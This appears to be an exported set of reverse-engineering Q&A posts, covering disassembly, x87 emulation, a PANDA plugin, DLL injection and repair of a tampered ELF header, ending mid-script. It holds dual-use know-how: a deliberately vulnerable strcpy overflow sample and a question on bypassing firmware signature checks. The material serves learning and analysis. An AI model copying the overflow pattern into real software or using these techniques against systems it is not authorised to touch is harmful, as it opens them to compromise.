        "Answer": "<p>Since I do not think the order of virtual functions in source could affect their order in machine code, I try to give a counter example. The main idea is first to give a <em>layout</em> for the <code>vtable</code> of a base class</p>\n\n<pre><code>struct A\n{\n  void virtual test() {};\n  void virtual replay() {};\n}\n</code></pre>\n\n<p>then using two classes which inherit <code>A</code>, but with different order of virtual functions:</p>\n\n<pre><code>struct B : public A\n{\n  void virtual test() {};\n  void virtual replay() {};\n}\n\nstruct C : public A\n{\n  void virtual replay() {};\n  void virtual test() {};\n}\n</code></pre>\n\n<p>If the order of virtual functions in <code>B</code> and <code>C</code> affects their machine code order, then their pointers in corresponding <code>vtables</code> should be different. But the following generated machine code (I have used <code>clang</code> as the compiler) shows that they are not:</p>\n\n<pre><code>.rodata:0804888C ; vtable for B\n.rodata:0804888C _ZTV1B db    0                   ; DATA XREF: B::B(void)+1Co\n ...\n.rodata:08048894 dd offset _ZN1B4testEv           ; B::test(void)\n.rodata:08048898 dd offset _ZN1B6replayEv         ; B::replay(void)\n ...\n ... \n.rodata:08048904 ; vtable for C\n.rodata:08048904 _ZTV1C db    0                   ; DATA XREF: C::C(void)+1Co\n ...\n.rodata:0804890C dd offset _ZN1C4testEv           ; C::test(void)\n.rodata:08048910 dd offset _ZN1C6replayEv         ; C::replay(void)\n</code></pre>\n\n<p>The order of virtual functions in <code>B</code> and <code>C</code> are indeed the same (and respects one in <code>A</code>).</p>\n"
    },
    {
        "Id": "12272",
        "CreationDate": "2016-03-22T10:14:30.920",
        "Body": "<p>I'm trying to get useful results using the <a href=\"https://github.com/uxmal/reko\">Reko decompiler</a> on a dusty old MS-DOS binary compiled with Borland C++ that appears to be performing a lot of floating point arithmetic. I'm seeing code sequences like</p>\n\n<pre><code>mov ax,0x4D8C    ; segment selector\nmov es,ax\nint 0x3C         ; call x87 emulator??\nfld dword ptr [&lt;some address&gt;]\nsub sp,8\nint 0x39         ; call x87 emulator??\n</code></pre>\n\n<p>...etc. A cursory search engine search strongly hints that the <code>int</code> instructions are invoking an x87 emulation library; when the x87 is present, it lets the coprocessor execute the instruction, but when it isn't, the emulator emulates.</p>\n\n<p>I am well familiar with how to <em>implement</em> FPU operations, with shifts and whatnot. What I'd like to find out more about is the protocol of these invocations to the emulator. I have been unable to locate documentation. Perhaps one of the members of the RE community does?</p>\n",
        "Title": "What is the protocol for x87 floating point emulation in MS-DOS?",
        "Tags": "|x86|",
        "Answer": "<p>Nothing like asking a question on stackexchange, only to be humiliated by finding the answer (or at least part of it). After finding the following source file, it started making sense:</p>\n\n<p><a href=\"https://github.com/alexhenrie/wine/blob/master/dlls/krnl386.exe16/fpu.c\">https://github.com/alexhenrie/wine/blob/master/dlls/krnl386.exe16/fpu.c</a></p>\n\n<p>On old 8086 machines, where there is no trap for invalid instructions, the Elders of the Past came up with an emulation strategy. All x87 instructions are in the <code>D8</code>-<code>DF</code> range (8 possible values) followed by modrm and other goodness. If you prefix the instruction with a <code>FWAIT</code> (opcode <code>9B</code>), you guarantee that there always be two bytes of code before the modrm byte, looking something like <code>9B Dx</code>. However, instead of emitting those two bytes, the compiler emits <code>CD xx</code>, where xx ranges <code>34</code>-<code>3B</code> (8 possible values). As we all know, CD is the encoding of the x86 <code>int</code> instruction.</p>\n\n<p>When the CPU executes the <code>int</code> instruction and arrives at the handler for <code>34</code>-<code>3B</code>, it vectors off to the interrupt handler.  If there isn't an x87 coprocessor available, the handler will emulate the floating point instruction, maintaining the coprocessor state in memory. If however there <em>is</em> an x87 coprocessor present, the handler will peek at the return stack to see where the <code>int</code> instruction is located, and <em>overwrite it</em> with the appropriate <code>9B Dx</code> byte sequence, corresponding to the <code>CD 3x</code> byte sequence. It then returns control to the patched instruction so that it gets executed. Now that it has been patched, the instruction is an actual FPU instruction, and future executions of the instructions will no longer take the long detour through the emulator.</p>\n\n<p>The documentation for how to deal with interrupt <code>3E</code> is still not forthcoming. However, for the time being, I have enough information to implement x87 emulation support in the Reko decompiler.</p>\n"
    },
    {
        "Id": "12286",
        "CreationDate": "2016-03-23T19:14:12.680",
        "Body": "<p>I am analysing an embedded system running QNX on armle, <code>uname -a</code> identifies it as:</p>\n\n<pre><code>QNX mmx 6.5.0 2012/06/20-13:49:13EDT nVidia_Tegra2(T20)_Devlite_Boards armle\n</code></pre>\n\n<p>Firmware updates come with a file called <code>metainfo2.txt</code> which always ends with a signature block, eg:</p>\n\n<pre><code>[Signature]\nsignature1 = \"a73e111de512e09bad2dc08eff685a38\"\nsignature2 = \"4fc032192a20fd1e242ad64af5b509a7\"\nsignature3 = \"6a7432f754aff0d6b74a7ec2072cbb11\"\nsignature4 = \"e91f68f569508b77712d1869edd6d0b9\"\nsignature5 = \"923eb77ba815dba8e44d5e09412cdf2e\"\nsignature6 = \"830518f3b38d48df892a3a0c65cc67f1\"\nsignature7 = \"09e5e0f5f06ce0376d032ab21051510f\"\nsignature8 = \"3dab7f75fcdf54a96d8aa7f3c617f76d\"\n</code></pre>\n\n<p>This looks like it's a RSA encryption and is used to determine if the file contents were changed. I <em>think</em> it's a hash of a particular section of the file: <code>MetafileChecksum = \"ec5afd6459c3579ebed8841cc41fe17bb61b814d\"</code></p>\n\n<p>I found a folder with public keys which has a subfolder name MetainfoKey and contains likely the public key, a 288 byte file:</p>\n\n<pre><code>C0 F3 89 EE C7 B6 6C 9D C7 36 50 8F F8 8A EB 1F\nB1 13 94 2E AD 02 08 14 D0 8D 29 E8 68 F1 4B 20\n86 BC D7 DD CC BA 75 59 F9 99 E7 6D 24 61 96 60\nBB E1 74 34 DA 59 98 80 87 F2 A9 9C D4 65 B1 FF\n42 35 22 B7 8C B0 DE 46 3A 66 96 13 D3 56 DF A9\nE8 6E 0E 2E 0B 6D AB 5D E8 91 31 C5 A0 72 7A EA\nB1 76 72 78 AB 10 1D CD 9C 3C FC 10 26 70 5C 1D\nAB 3B F5 3B F5 0A FA FB 3F 52 DA 2C EB 0B EE 57\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03\n83 0A CD 65 56 FC 2F B4 7B 1B 67 43 12 E3 4E 7A\n0A AD 1E DF BA 7E B2 79 D9 51 3A DB 10 16 61 48\n13 1B BA 9C 85 2A B7 01 91 49 16 65 62 94 61 6B\nB1 A9 B8 F8 46 2E BC 20 6D E5 7F 53 AF EF 00 00\n53 AB 8E 4F 63 29 BF 00 B0 ED 45 E8 E9 20 67 8E\nF6 7A F8 BC CB 7B 4D CF 88 01 59 BB CB F1 B1 04\nD4 A1 C0 57 70 AA D7 38 E8 BD 9A 28 4E 94 99 5C\nB7 96 49 28 5A C4 04 9C 6B 57 8F C5 4F 74 6A C9\n</code></pre>\n\n<p>My objective is to be able to change <code>metainfo2.txt</code> and a possible method could be to replace the public key with a new one but I need to understand how the signature section is used to verify the file contents. I am looking for answer or pointers on how to achieve this...</p>\n",
        "Title": "Defeat rsa hash verification",
        "Tags": "|qnx|",
        "Answer": "<p>After some research i came to conclusion that we cannot simply change the keys.\nAs you already know they are all signed, and although the sign key looks to be the MIB-High_MI_public its actually a key that's in the NOR flash OTP area.\nIn our case it happens to be the same is the public key but we cant change that.\nMIBRoot check this before it uses the keys found the the persist area.\nUnless you change the flash chip you cant use your own keys so it just not worth the effort :)</p>\n\n<p>Regards.</p>\n"
    },
    {
        "Id": "12290",
        "CreationDate": "2016-03-25T17:36:55.193",
        "Body": "<p>I am writing a PinTool, which can manipulate certain register/memory value. However, after manipulation, one challenge I am facing now, is the <code>deadloop</code>. </p>\n\n<p>In particular, due to the frequent manipulation of certain register value, it is indeed common to create <code>deadloop</code> in the execution trace. I am thinking to detect such case, and terminate the execution.</p>\n\n<p><strong>So here is my question, what is a good practice to detect a <code>deadloop</code> in a PinTool?</strong> I can come up with some naive solutions, say, record the executed instructions, and if certain instruction has been executed for a large amount of times, just terminate the execution. </p>\n\n<p>Could anyone help me on this issue? Thank you.</p>\n",
        "Title": "Detect deadloop in PinTool",
        "Tags": "|pintool|",
        "Answer": "<ol>\n<li><p>Open debugger and attach to the pin executable to check if the dead loop is in the pin itself. This is highly unlikely and the most probable cause is the tool you've written.</p></li>\n<li><p>Do the same for the pintool. Pintool is in the target process. So attache debugger to it.</p></li>\n</ol>\n\n<p>The debugger should show you where the problem is. Once the area identified, you can open the tool in IDA to do further inspection or \"connect\" your source to debugger.</p>\n\n<p>Another way, is to log every Trace or basic block that is executing - check in the examples. This log should also show you the problematic area.</p>\n"
    },
    {
        "Id": "12291",
        "CreationDate": "2016-03-25T22:50:40.397",
        "Body": "<p>I have implemented a Memory Read Access hardware breakpoint in C code.\nIt works perfect and provides me the next instruction after a memory is read.</p>\n\n<p>I am using BeaEngine to disassemble the instruction at <code>EIP</code>.</p>\n\n<p>I need to find out the previous executed instruction which is effectively the one that accessed the memory in question (For example, like Cheat Engine does it).</p>\n\n<p>How can I accomplish this?</p>\n",
        "Title": "Memory Read Access Breakpoint Question",
        "Tags": "|disassembly|breakpoint|",
        "Answer": "<p>This is a tricky question.</p>\n\n<p>On x86 platform the maximum length of an instruction is 15 bytes. </p>\n\n<p>You can read 15 bytes backwards from the current EIP and pass it to <code>Disasm</code> function of BeaEngine. This returns the length of the disassembled instruction. If this equals 15 you have found the previous instruction. If it is less than 15, then pass 1 byte less (i.e 14 bytes) and so on until the length of the buffer passed to BeaEngine equals the length of the disassembled instruction.</p>\n\n<p>This can be represented in pseudo code</p>\n\n<pre><code>eip = 0xDEADCODE\n\nlength = 15\nwhile(length &gt; 0)\n{\n    buffer = ReadProcessMemory(start=eip-length, length)\n    lenDisasm = Disasm(buffer)\n\n    if (lenDisasm == length) \n    {\n        prevIns = eip-length\n        break;\n    }\n    else length--;\n}\n</code></pre>\n\n<p>Note that the above algorithm is not generic in nature i.e. you cannot use it to find the previously executed instruction given the current <code>eip</code>. This only works when the execution sequence is linear without any jumps in between. In case of hardware breakpoints on access the execution sequence is <strike>guaranteed to be</strike> linear and the above algorithm is applicable.</p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>Even in case of hardware breakpoints on access the execution sequence may not be linear as in the following case</p>\n\n<pre><code>format PE\n\nentry start\n\nsection '.text' code readable executable\n\nstart:\n    nop\n    nop\n    jmp dword [here]\n    mov eax, 1\n    push eax\n    pop eax\n\naddress:\n    xor eax, eax\n    ret     \n\nsection '.data' readable writable\n\nhere:   ; &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; HWBP on read\n dd address\n</code></pre>\n\n<p>A hardware breakpoint on read is set on <code>here</code>. In this case the hwbp would hit when <code>EIP</code> is at <code>address</code>. If you use the above algorithm, the previously executed instruction turns out to be <code>pop eax</code> which is incorrect. \nFor such cases you can use instruction tracing or memory breakpoints (<strong><em><a href=\"http://www.codereversing.com/blog/archives/79\" rel=\"nofollow noreferrer\">1</a></em></strong>, <strong><em><a href=\"http://waleedassar.blogspot.in/2012/11/defeating-memory-breakpoints.html\" rel=\"nofollow noreferrer\">2</a></em></strong>, <strong><em><a href=\"https://stackoverflow.com/questions/3771785/whats-the-principle-of-ollydbgs-memory-breakpoint\">3</a></em></strong>).</p>\n"
    },
    {
        "Id": "12300",
        "CreationDate": "2016-03-29T11:22:32.687",
        "Body": "<p>i'm learning to reverse engineer. So i'm coding some programs and try to understand their assembly.\nI stumbled upon a curious case and i think i can't solve it alone.</p>\n\n<p>Here's the c code:</p>\n\n<pre><code> #include &lt;stdio.h&gt;\n\nint main(){\n\nchar *texto = \"O numero e %d\\n\";\nint i = 10;\n\nwhile(i){\n    printf(texto, i--);\n}\n\nreturn 0;\n}\n</code></pre>\n\n<p>The assembly produced by IDA is the following:</p>\n\n<pre><code>mov     eax, [esp+28]\nlea     edx, [eax-1] ; The part i don't understand\nmov     [esp+28], edx\nmov     [esp+4], eax\nmov     eax, [esp+18h]\nmov     [esp], eax      ; char *\ncall    _printf\n</code></pre>\n\n<p>What i could understand is that it stores the old value in eax and pushes to stack(I purposedly didn't turn on optimizations) and then it pushes the format.\nWhile that happens in the middle it does the <code>i--</code>, but i can't understand how it's working. So it get's the address of <code>eax-1</code> and stores in <code>edx</code> and then stores it in <code>i</code>, but <code>eax</code>doesn't hold an address but a value.</p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "Question about LEA instruction",
        "Tags": "|ida|disassembly|x86|c|",
        "Answer": "<p>What you're seeing is an efficiency trick that compilers like to use.</p>\n\n<p>Internally, the CPU doesn't make a difference between numbers and addresses - 32 bit integers and pointers are the same thing. (Or 64 bit, if you're using newer architecture, but as your register names start with <code>e</code>, you're using 32 bit).</p>\n\n<p>The <code>lea</code> instruction loads the address of its operand, instead of the operand itself. In C terms, you could look at [eax-1] as *(eax-1), and <code>lea</code> adds a <code>&amp;</code> operator to that, so <code>lea edx, [eax-1]</code> is like <code>edx = &amp;(*(eax-1))</code>. Which is the same as <code>eax-1</code> of course.</p>\n\n<p>The compiler could have done exactly the same using the instruction sequence <code>mov edx, eax; sub edx, 1</code> or <code>mov edx, eax; dec edx</code>. So, why did it use the <code>lea</code> instruction?</p>\n\n<p>The answer is that, historically, resolving addresses in <code>lea</code> was done using dedicated address bus hardware and bypassed the ALU. Also, pipelining had its issues when the same register was used twice in subsequent operations. Which means, on <strong>older</strong> processors, using <code>lea</code> was a few cycles faster than the alternatives, and it's not hard to implement in the compiler, so this is what compilers traditionally did.</p>\n\n<p>On new processors, the distinction \"<code>lea</code> uses separate hardware\" isn't (neccesarily) made any more, and pipelining is a lot more intelligent than it used to be, so i doubt it's make any difference these days. But it's still in the compilers, and won't get removed from them because there's just no good reason to.</p>\n"
    },
    {
        "Id": "12307",
        "CreationDate": "2016-03-30T15:14:14.383",
        "Body": "<p>I am going through a tutorial which shows you how to exploit a stack based buffer overflow in a sample C program. The C code is:</p>\n\n<pre><code>#include &lt;string.h&gt;\n\nvoid function(char *str) {\n   char buffer[1024];\n   strcpy(buffer,str);\n}\n\nint main(int argc,char *argv[])\n{\n    char aaa[500];\n    function(argv[1]);\n}\n</code></pre>\n\n<p>As per the author if we write 1032 'A's, we should be able to see 'AAAA' in the EIP register. I understand the theory behind it. However, running it on Windows 7 32 bit and debugging it with Immunity Debugger, it says \"<strong>Process terminated exit code C0000409</strong>\". <strong>EIP</strong> instead points to \"<strong>ntdll.RT lUserThreadStart</strong>\". Please advise. </p>\n",
        "Title": "Why can't I get the EIP to reflect my input",
        "Tags": "|x86|exploit|buffer-overflow|",
        "Answer": "<p>Building upon Jason's answer, this is most likely due to your compilers Buffer Security Check.</p>\n\n<p>Specifically in Microsoft compilers the '/GS' option.</p>\n\n<p><a href=\"https://msdn.microsoft.com/en-us/library/8dbf701c.aspx\" rel=\"nofollow\">The MSDN page</a> gives a better explanation aswell as a few examples.</p>\n"
    },
    {
        "Id": "12312",
        "CreationDate": "2016-03-31T20:17:18.643",
        "Body": "<p>I am trying to shortcut the call to a procedure that is activated when clicking on a menu item. </p>\n\n<p>I injected a DLL on the process that creates this window with the menu bar.</p>\n\n<p>I used Spy++ from VisualStudio to obtain the Menu Identifier for this specific item (wid: 40003). Now I am calling </p>\n\n<p><code>CallWindowProcW(wndproc, hwnd, WM_COMMAND, 40003, 0);</code> </p>\n\n<p><strong>However, the item procedure is not triggered.</strong>\nI cannot call the procedure directly because I do not know what it is. I just know that when I click this menu it activates it.</p>\n\n<p>I have obtained <code>windproc</code> and <code>hwnd</code> doing the following inside my DLL:</p>\n\n<pre><code> void Init()\n {\n     DWORD procID = GetProcessId(GetCurrentProcess());\n     EnumWindows(myCallback, procID);\n }\n\n BOOL CALLBACK myCallback(HWND hWnd, LPARAM lParam)\n {\n     DWORD wndId;\n\n     GetWindowThreadProcessId(hWnd, &amp;wndId);\n     if(wndId == (DWORD)lParam) //Found the right window handle\n     {\n         WNDPROC windowFunc = (WNDPROC)GetWindowLong(hWnd, GWL_WNDPROC);\n         LRESULT result = CallWindowProcW(windowFunc, hWnd, WM_COMMAND, 40003, 0);\n         return FALSE;\n     }\n     return TRUE;\n  }\n</code></pre>\n\n<p><s><strong>EDIT</strong>: Have also tried SendMessageA, PostMessageA and DispatchMessageA and failed</s></p>\n\n<p><strong>EDIT2</strong>: See answer below for working PostMessageA.</p>\n",
        "Title": "Simulate Windows menu item activation",
        "Tags": "|windows|dll-injection|",
        "Answer": "<p>I would like to have made this a comment but do not have enough points to do so so this would have been a comment on the answer.   </p>\n\n<p>Simply put, the topmost window in a windows environment receives the RawInputThread (RIT).  The RIT automatically receives the mouse and keyboard messages and sends them to that window which is at the top of the Z order.   Having done a lot of this stuff in the distant past, if you ever need to take total control, a trick that can be done is to implement a top most window (z order) window which covers the whole screen, RIT will give it all messages, and you do what you want with them.</p>\n\n<p>Back when I was doing this there was little to no documentation on  RIT but now you can find lots of documentation.  I found this on <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms645543(v=vs.85).aspx\" rel=\"nofollow\">MSDN Raw Input</a>, but it looks like they are making it more complicated than it really needs to be.  MSFT has done things over the years where they hide a topic, then clarify, then put the topic back into hiding.  duckduckgo shows numerous <a href=\"https://duckduckgo.com/?q=%22raw%20input%20thread%22&amp;t=hk&amp;ia=web\" rel=\"nofollow\">hits</a>  and yielded a nice <a href=\"https://blogs.msdn.microsoft.com/oldnewthing/20140213-00/?p=1773/\" rel=\"nofollow\">gem</a> google didn't find on its first page.</p>\n"
    },
    {
        "Id": "12313",
        "CreationDate": "2016-04-01T08:34:31.507",
        "Body": "<p>As answer to the post \"Using QEmu monitor interface to extract execution traces from a binary?\", one of the PANDA authors <a href=\"https://reverseengineering.stackexchange.com/a/4779/11830\">outlined</a> how QUEMU may be used to record execution traces.</p>\n\n<p>I would like to do it with PANDA.</p>\n\n<p>I found that the QEMU function <code>cpu_memory_rw_debug(env, pc, buf, size, is_write);</code> allows to access the guest's memory. Yet, I don't know how much memory I have to read, because the size of the opcodes differ.</p>\n\n<p>PANDA provides the function <code>panda_disas</code>:</p>\n\n<blockquote>\n<pre><code>void panda_disas(FILE *out, void *code, unsigned long size);\n</code></pre>\n  \n  <p>Writes a textual representation of disassembly of the guest code at\n  virtual address code of size bytes.</p>\n</blockquote>\n\n<p>But same question here, how do I determine the size of the instruction?</p>\n\n<p>As <code>PANDA_CB_INSN_EXEC</code> and <code>PANDA_CB_INSN_TRANSLATE</code> do not provide the size of the instruction, I figured it must be in <code>CPUState</code>.</p>\n\n<p>I looked into <code>cpu.h</code> and <code>cpu-all.h</code> but couldn't find anything.</p>\n\n<p>Is there another approach or am I missing something?</p>\n",
        "Title": "Getting list of opcodes from PANDA trace",
        "Tags": "|disassembly|x86|qemu|",
        "Answer": "<p>At the moment PANDA doesn't provide information about the instruction size (which isn't known before translation) at the level of an individual instruction. One thing you <em>can</em> do, however, is get the size of an entire basic block once it has been translated by QEMU using <code>PANDA_CB_AFTER_BLOCK_TRANSLATE</code> and then look at the <code>tb-&gt;size</code> field. You can then cache the disassembly for that block and print it out in a <code>PANDA_CB_BEFORE_BLOCK_EXEC</code> callback.</p>\n\n<p>Here is a plugin that uses this trick to compute rolling instruction opcode histograms using the <a href=\"http://www.capstone-engine.org/\" rel=\"nofollow\">capstone disassembler</a>. You'll have to adapt it a bit to get a full instruction trace, but it should demonstrate the principle.</p>\n\n<pre><code>// This needs to be defined before anything is included in order to get\n// the PRIx64 macro\n#define __STDC_FORMAT_MACROS\n\nextern \"C\" {\n\n#include \"config.h\"\n#include \"qemu-common.h\"\n\n#include \"panda_plugin.h\"\n#include \"panda/panda_common.h\"\n#include \"rr_log.h\"\n#include &lt;capstone/capstone.h&gt;\n\n}\n\n#include &lt;map&gt;\n#include &lt;string&gt;\n\ntypedef std::map&lt;std::string,int&gt; instr_hist;\n\n\n// These need to be extern \"C\" so that the ABI is compatible with\n// QEMU/PANDA, which is written in C\nextern \"C\" {\n\nbool init_plugin(void *);\nvoid uninit_plugin(void *);\n\n}\n\n#define WINDOW_SIZE 100\n\ncsh handle;\ncs_insn *insn;\nbool init_capstone_done = false;\ntarget_ulong asid;\nint sample_rate = 100;\nFILE *histlog;\n\n// PC =&gt; Mnemonic histogram\nstd::map&lt;target_ulong,instr_hist&gt; code_hists;\n\n// PC =&gt; number of instructions in the TB\nstd::map&lt;target_ulong,int&gt; tb_insns;\n\n// Circular buffer PCs in the window\ntarget_ulong window[WINDOW_SIZE] = {};\n\n// Rolling histogram of PCs\ninstr_hist window_hist;\nuint64_t window_insns = 0;\nuint64_t bbcount = 0;\n\nvoid init_capstone(CPUState *env) {\n    cs_arch arch;\n    cs_mode mode;\n#ifdef TARGET_I386\n    arch = CS_ARCH_X86;\n    mode = env-&gt;hflags &amp; HF_LMA_MASK ? CS_MODE_64 : CS_MODE_32;\n#elif defined(TARGET_ARM)\n    arch = CS_ARCH_ARM;\n    mode = env-&gt;thumb ? CS_MODE_THUMB : CS_MODE_ARM;\n#endif\n\n    if (cs_open(arch, mode, &amp;handle) != CS_ERR_OK) {\n        printf(\"Error initializing capstone\\n\");\n    }\n    init_capstone_done = true;\n}\n\nvoid add_hist(instr_hist &amp;a, instr_hist &amp;b) {\n    for (auto &amp;kvp : b) a[kvp.first] += kvp.second;\n}\n\nvoid sub_hist(instr_hist &amp;a, instr_hist &amp;b) {\n    for (auto &amp;kvp : b) a[kvp.first] -= kvp.second;\n}\n\nvoid print_hist(instr_hist &amp;ih, uint64_t window_insns) { \n    fprintf(histlog, \"%\" PRIu64 \" \", rr_get_guest_instr_count());\n    fprintf(histlog, \"{\");\n    for (auto &amp;kvp : ih) {\n        fprintf (histlog, \"\\\"%s\\\": %f, \", kvp.first.c_str(), kvp.second/(float)window_insns);\n    }\n    fprintf(histlog, \"}\\n\");\n}\n\n// During retranslation we may end up with different\n// instructions. Since we don't have TB generations we just\n// remove it from the rolling histogram first.\nvoid clear_hist(target_ulong pc) {\n    for (int i = 0; i &lt; WINDOW_SIZE; i++) {\n        if (window[i] == pc) {\n            window[i] = 0;\n            window_insns -= tb_insns[pc];\n            sub_hist(window_hist, code_hists[pc]);\n        }\n    }\n}\n\nstatic int after_block_translate(CPUState *env, TranslationBlock *tb) {\n    size_t count;\n    uint8_t mem[1024] = {};\n\n    if (asid &amp;&amp; panda_current_asid(env) != asid) return 0;\n\n    if (!init_capstone_done) init_capstone(env);\n\n    if (code_hists.find(tb-&gt;pc) != code_hists.end()) {\n        clear_hist(tb-&gt;pc);\n        return 0;\n    }\n\n    panda_virtual_memory_rw(env, tb-&gt;pc, mem, tb-&gt;size, false);\n    count = cs_disasm_ex(handle, mem, tb-&gt;size, tb-&gt;pc, 0, &amp;insn);\n    for (unsigned i = 0; i &lt; count; i++)\n        code_hists[tb-&gt;pc][insn[i].mnemonic]++;\n    tb_insns[tb-&gt;pc] = count;\n    return 1;\n}\n\nstatic int before_block_exec(CPUState *env, TranslationBlock *tb) {\n    if (asid &amp;&amp; panda_current_asid(env) != asid) return 0;\n\n    if (window[bbcount % WINDOW_SIZE] != 0) {\n        target_ulong old_pc = window[bbcount % WINDOW_SIZE];\n        window_insns -= tb_insns[old_pc];\n        sub_hist(window_hist, code_hists[old_pc]);\n    }\n\n    window[bbcount % WINDOW_SIZE] = tb-&gt;pc;\n    window_insns += tb_insns[tb-&gt;pc];\n    add_hist(window_hist, code_hists[tb-&gt;pc]);\n\n    bbcount++;\n\n    if (bbcount % sample_rate == 0) {\n        // write out to the histlog\n        print_hist(window_hist, window_insns);\n    }\n    return 1;\n}\n\nbool init_plugin(void *self) {\n    panda_cb pcb;\n\n    panda_arg_list *args = panda_get_args(\"insthist\");\n    const char *name = panda_parse_string(args, \"name\", \"insthist\");\n    asid = panda_parse_ulong(args, \"asid\", 0);\n    sample_rate = panda_parse_uint32(args, \"sample_rate\", 1000);\n\n    char fname[260];\n    sprintf(fname, \"%s_insthist.txt\", name);\n    histlog = fopen(fname, \"w\");\n\n    pcb.after_block_translate = after_block_translate;\n    panda_register_callback(self, PANDA_CB_AFTER_BLOCK_TRANSLATE, pcb);\n    pcb.before_block_exec = before_block_exec;\n    panda_register_callback(self, PANDA_CB_BEFORE_BLOCK_EXEC, pcb);\n\n    return true;\n}\n\nvoid uninit_plugin(void *self) {\n    print_hist(window_hist, window_insns);\n    fclose(histlog);\n}\n</code></pre>\n"
    },
    {
        "Id": "12316",
        "CreationDate": "2016-04-01T15:43:40.053",
        "Body": "<p>If the ELF header which usually can be read using <code>readelf</code> has been manually manipulated, let's say by increasing the value for the \"Size of section headers\" the binary still can be executed and works well.</p>\n\n<p>However, this manipulation seems to trip up reverse engineering tools like GDC and GDB gives me the error: <code>not in executable format: File format not recognized</code>.</p>\n\n<p>Is there a way to fix the ELF header without knowing the original value of \"Size of section headers\" in order to be able again to analyze the file using <em>standard tools</em>?</p>\n\n<h1>Detailed info:</h1>\n\n<p>GDB is failing to run the binary because it says the file is <code>not in executable format : File format not recognized</code> but it works outside the GDB. The same things happen with the <code>libbfd</code> parser, it can't parse because file format is not recognized. The fact is I only change the number of section headers.</p>\n\n<h2>Code</h2>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main()\n{\n    printf(\"Hello World!\\n\");\n    return 0;\n}\n</code></pre>\n\n<p>Build by invoking <code>make hello</code> or on a 64-bit system <code>make CFLAGS=-m32 hello</code>.</p>\n\n<h2>ELF header before</h2>\n\n<pre><code>$ readelf -h hello\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x8048320\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          4472 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         30 &lt;-- notice me!\n  Section header string table index: 27\n</code></pre>\n\n<h2>ELF header after</h2>\n\n<pre><code>$ readelf -h hello\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x8048320\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          4472 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         52 &lt;-- already changed!\n  Section header string table index: 27\n</code></pre>\n\n<p>GDB will output,</p>\n\n<blockquote>\n  <p>not in executable format: File format not recognized</p>\n</blockquote>\n\n<p>But if I run it outside of GDB,</p>\n\n<pre><code>$ ./hello output:\nHello World!\n</code></pre>\n\n<p>So is there either a method to fix the value for <code>e_shnum</code> <strong>without</strong> knowing the correct value, or a workaround so I can debug this file in GDB?</p>\n",
        "Title": "Fixing corrupt ELF header field \"e_shnum\" for use in GDB",
        "Tags": "|gdb|elf|crackme|",
        "Answer": "<p>In this particular case, repairing the header can be automated. Since the section header string table is present, the original value of <code>e_shnum</code> can be found by counting the number of strings in the table.</p>\n\n<p>Original:</p>\n\n<pre><code>$ readelf -h hello\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              DYN (Shared object file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x3e0\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          6056 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         29  &lt;-----------------\n  Section header string table index: 28\n</code></pre>\n\n<p>Corrupted:</p>\n\n<pre><code>$ readelf -h hello\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              DYN (Shared object file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x3e0\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          6056 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         52  &lt;------------------\n  Section header string table index: 28\nreadelf: Error: Reading 2080 bytes extends past end of file for section headers\nreadelf: Error: Reading 7216 bytes extends past end of file for dynamic string table\n</code></pre>\n\n<p>Reading the section header string table:</p>\n\n<blockquote>\n<pre><code>#!/usr/bin/python3\n\nfrom elftools.elf.elffile import ELFFile\n\nwith open('hello', 'rb') as f:\n    elffile = ELFFile(f)\n    print(\"original e_shnum:\\t\" + str(len(elffile.get_section(28).data().decode('ascii').split('\\x00')) + 1))\n</code></pre>\n</blockquote>\n\n<p>When run against the binary with the corrupted header, the output is as follows:</p>\n\n<pre><code>$ python3 recover_e_shnum.py \noriginal e_shnum:   29\n</code></pre>\n\n<p>This script will repair the header automatically:</p>\n\n<blockquote>\n<pre><code>#!/usr/bin/python3\n\nfrom elftools.elf.elffile import ELFFile\nfrom struct import pack\n\nwith open('hello', 'rb+') as f:\n    elffile = ELFFile(f)\n    e_shnum = len(elffile.get_section(28).data().decode('ascii').split('\\x00')) + 1 \n 